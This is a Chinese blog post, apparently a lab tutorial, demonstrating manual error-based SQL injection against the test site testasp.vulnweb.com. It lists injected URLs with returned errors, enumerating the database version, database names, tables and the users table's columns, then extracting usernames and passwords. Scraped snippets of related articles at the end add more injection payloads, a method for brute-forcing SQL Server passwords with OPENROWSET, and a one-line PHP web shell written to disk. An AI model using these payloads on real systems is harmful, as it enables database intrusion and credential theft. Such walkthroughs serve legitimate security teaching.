sql server手工注入

测试网站testasp.vulnweb.com

1.

http://testasp.vulnweb.com/showforum.asp?id=0

http://testasp.vulnweb.com/showforum.asp?id=0‘

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=1

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2

2.数据库版本

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select @@version)

3.数据库名

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select db_name())

4.第一个数据库

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from master..sysdatabases where dbid>4)

返回Conversion failed when converting the nvarchar value ‘acublog‘ to data type int

5.

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> ‘acublog‘)

返回Conversion failed when converting the nvarchar value ‘acuforum‘ to data type int

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> ‘acublog‘ and name<> ‘acuforum‘)

返回Conversion failed when converting the nvarchar value ‘acuservice‘ to data type int.

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> ‘acublog‘ and name<> ‘acuforum‘ and name<> ‘acuservice‘)

返回Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

那就这几个数据库了

6.获取表名

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from sysobjects where xtype=‘u‘)

返回Conversion failed when converting the nvarchar value ‘threads‘ to data type int.

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from sysobjects where xtype=‘u‘ and name<> ‘threads‘)

返回Conversion failed when converting the nvarchar value ‘users‘ to data type int

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from sysobjects where xtype=‘u‘ and name<> ‘threads‘ and name<> ‘users‘)

返回Conversion failed when converting the nvarchar value ‘forums‘ to data type int.

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from sysobjects where xtype=‘u‘ and name<> ‘threads‘ and name<> ‘users‘ and name<> ‘forums‘)

返回Conversion failed when converting the nvarchar value ‘posts‘ to data type int.

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from sysobjects where xtype=‘u‘ and name<> ‘threads‘ and name<> ‘users‘ and name<> ‘forums‘ and name<> ‘posts‘)

返回Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

7.users的列名

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = ‘users‘))

返回Conversion failed when converting the nvarchar value ‘uname‘ to data type int.

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = ‘users‘) and name<> ‘uname‘)

返回Conversion failed when converting the nvarchar value ‘upass‘ to data type int.

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = ‘users‘) and name<> ‘uname‘ and name<> ‘upass‘)

返回Conversion failed when converting the nvarchar value ‘email‘ to data type int.

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = ‘users‘) and name<> ‘uname‘ and name<> ‘upass‘ and name<> ‘email‘)

返回Conversion failed when converting the nvarchar value ‘realname‘ to data type int.

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = ‘users‘) and name<> ‘uname‘ and name<> ‘upass‘ and name<> ‘email‘ and name<> ‘realname‘)

返回Conversion failed when converting the nvarchar value ‘avatar‘ to data type int.

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = ‘users‘) and name<> ‘uname‘ and name<> ‘upass‘ and name<> ‘email‘ and name<> ‘realname‘ and name<> ‘avatar‘)

返回Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

forums的列名

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = ‘forums‘))

8.

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 uname from users)

返回Conversion failed when converting the nvarchar value ‘--‘ to data type int.

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 upass from users)

返回Conversion failed when converting the nvarchar value ‘none‘ to data type int.

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=(select top 1 uname  from users where id =2)

返回

时间: 2024-12-28 20:29:39

sql server手工注入的相关文章

Sql Server 手工注入讲解

1.判断是否有注入 and 1=1 and 1=2 判断注入的方法是一样的 2.初步判断是否是mssql and user>0 3.判断数据库系统 and (select count(*) from sysobjects)>0 mssql and (select count(*) from msysobjects)>0 access 4.注入参数是字符 'and [查询条件] and ''=' 5.搜索时没过滤参数的 'and [查询条件] and '%25'=' 6.猜数表名 and

使用OPENROWSET爆破SQL Server密码

使用OPENROWSET爆破SQL Server密码 OPENROWSET函数是SQL Server提供的一个连接函数.它可以用于使用OLE DB方式连接一个数据库,并进行数据查询等操作.使用该函数的时候,需要指定连接的目标.用户.密码等信息.渗透测试人员可以利用该函数,通过指定密码字典的方式来对数据库用户进行爆破. 例如,Kali提供的SQL Server数据库注入工具sqlninja就利用了该函数.如果注入成功后,却发现只获取了普通用户权限.这时,就可以通过该函数构建一个连接,以sa身份连接

基于dvwa环境下级别为low的SQL手工注入教程

基于dvwa环境下级别为low的SQL手工注入教程: 首先是进入已搭建好的dvwa环境中去(一定要搭建好dvwa环境才能进行下面的操作),这可能会是一些初学者所面临的的第一个问题,比如我,曾为了寻找这个入口,浪费了不少的时间,所以在这里就提一下,最好是能够记住,忘了的话可以随时过来看一下:http://127.0.0.1/DVWA/setup.php. 按照提示点击最下面的按钮创建数据库,创建成功就会直接进入登录页面进行登录,然后就可以直接访问http://127.0.0.1/DVWA/logi

SQL注入原理 手工注入access数据库

SQL注入原理 手工注入access数据库 SQL注入是通过将SQL命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL指令的目的. 1.判断网站是否有注入点. 在以asp?id=xx(任意数字)结尾的连接依次添加: ' 1=1 1=2 若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点. 2.猜解表名 在链接末尾添加语句: and exists(select * from admi

小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+   [写入一句话木马:INTO DUMPLING:MySQL函数,将输入下载在数据库中]

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)

SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器 用户登录判断 SELECT * FROM users WHERE user='uname' AND password='pass'SELECT * FROM users WHERE user='name' AND password='' OR

SQL手工注入小结

第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉.否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息. 数字型:and 1=1 and 1=2 判断是否存在注入 字符型:' and '1'='1 ' and '1'='2 搜索型: 关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='% IIS报错情况下使用: and user>0 (判

Sql server之sql注入篇

SQL Injection 关于sql注入的危害在这里就不多做介绍了,相信大家也知道其中的厉害关系.这里有一些sql注入的事件大家感兴趣可以看一下 防范sql注入的方法无非有以下几种: 1.使用类型安全的SQL参数2.使用参数化输入存储过程3.使用参数集合与动态SQL4.输入滤波5.过滤LIKE条款的特殊字符 ...如果有遗漏的也欢迎园子的大大们指教. Sample: var Shipcity; ShipCity = Request.form ("ShipCity"); var sql

基础篇——SQL注入(手工注入)

SQL注入 当我们学习一个知识时我们要考虑几个问题:是什么?怎么做?然后进行有条理的学习 是什么? 首先我们要明白SQL注入是什么: sql——结构化查询语言 SQL注入就是在网站url中插入sql语句,执行sql命令,获取数据库内容,达到欺骗服务器的目的. SQL注入的原理:普通用户提交sql查询语句,网站没有对用户输入进行过滤导致执行用户命令 危害及防护 危害:SQL注入可以使入侵者获取后台账号密码.拖库.进入后台破坏.拿shell 防护:设置网站黑名单.限制敏感词汇.对用户输入进行转义.将